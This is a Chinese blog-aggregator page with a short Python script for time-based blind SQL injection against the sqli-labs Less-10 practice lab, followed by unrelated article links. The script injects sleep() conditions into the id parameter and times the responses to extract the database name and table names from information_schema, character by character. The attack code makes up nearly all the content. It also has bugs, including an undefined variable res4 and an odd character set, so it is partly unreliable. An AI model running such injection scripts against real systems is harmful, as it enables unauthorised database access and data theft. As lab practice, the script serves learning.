当前位置:网站首页>时间盲注脚本
时间盲注脚本
2022-08-03 05:22:00 【wuqinghalasao】
import requests,time,string
# 假设页面无任何回显需要用到时间注入
url='http://192.168.28.133/sqli-labs-master/Less-10/?id=1" and '
a1=0
for a in range(10):
start=time.time()
res=requests.get(f"{url}if(length(database())={a},sleep(2),1)-- -")
response = res.text
end=time.time()
if end-start>1:
a1=a
print(f'库名长度为{a1}')
break
low = 'abcdefghijklmnopqrstuvw,xyz'
res1=''
for a2 in range(a1+1):
for a3 in low:
start = time.time()
res3 = requests.get(f"{url}if(substr(database(),{a2},1)='{a3}',sleep(2),1)-- - ")
response4=res3.text
end = time.time()
if end-start>1:
res1+=a3
print(f'库名为{res1}')
# 查表数量,不需要判断表的数量,直接gruop_concat
res8=[]
# 取表名
res7 = ''
for a7 in range(1,60):
for a8 in low:
start = time.time()
res6 = requests.get(f"{url}if(substr((SELECT group_concat(table_name) from information_schema.tables where table_schema='{res1}'),{a7},1)='{a8}',sleep(3),1) ")
response6=res6.text
end = time.time()
if end - start > 2:
res7+=a8
res8.append(res7)
print(res8)
print(f'数据库{res4}有{res8}表')
边栏推荐
猜你喜欢

TypeError: Cannot read property ‘xxxx‘ of undefined的解决方法

Leetcode刷题——一些用层次遍历解决的问题(111. 二叉树的最小深度、104. 二叉树的最大深度、226. 翻转二叉树、剑指 Offer 27. 二叉树的镜像)

动态调整web主题(2) 萃取篇
![7.24[C语言零基础 知识点总结]](/img/b8/3abcee495e70c9ffffc671f2b7d9b1.png)
7.24[C语言零基础 知识点总结]

uni-app 滚动到顶部/指定位置

【圣诞节给爱的人打印一颗圣诞树吧】超详细代码实现——圣诞树打印

`monorepo` 中 `hoist` 机制导致加载配置文件路径的变化

经典论文-ResNet

Qlik Sense 临时处理表数据详解(Resident)

嵌入式实验四
随机推荐
7.24[C语言零基础 知识点总结]
【 Nmap and Metasploit common commands 】
【命令执行与中间件漏洞】
动态规划笔记
中国水环境治理行业投融资分析及“十四五”规划建议报告2022~2028年
当奈飞的NFT忘记了web2的业务安全
令人愉快的 Nuxt3 教程 (一): 应用的创建与配置
私有变量(private) 【详细+易懂】
【DC-4 Range Penetration】
Ansible installation and deployment detailed process, basic operation of configuration inventory
Navicat 解决隔一段时间不操作出现延时卡顿问题
取某一区间中素数的个数--洛谷P1865 A % B Problem
【扫雷】多方法超详细 7.28
mysql 客户端SSL错误2026 (HY000)
request.getParameter的结果为on
一维数组和二维数组的命名以及存储空间
动态调整web主题(2) 萃取篇
亲身分享一次 字节跳动 真实面试经历和面试题
中国生产力促进中心”十四五”规划与发展规模分析报告2022~2028年
Router-view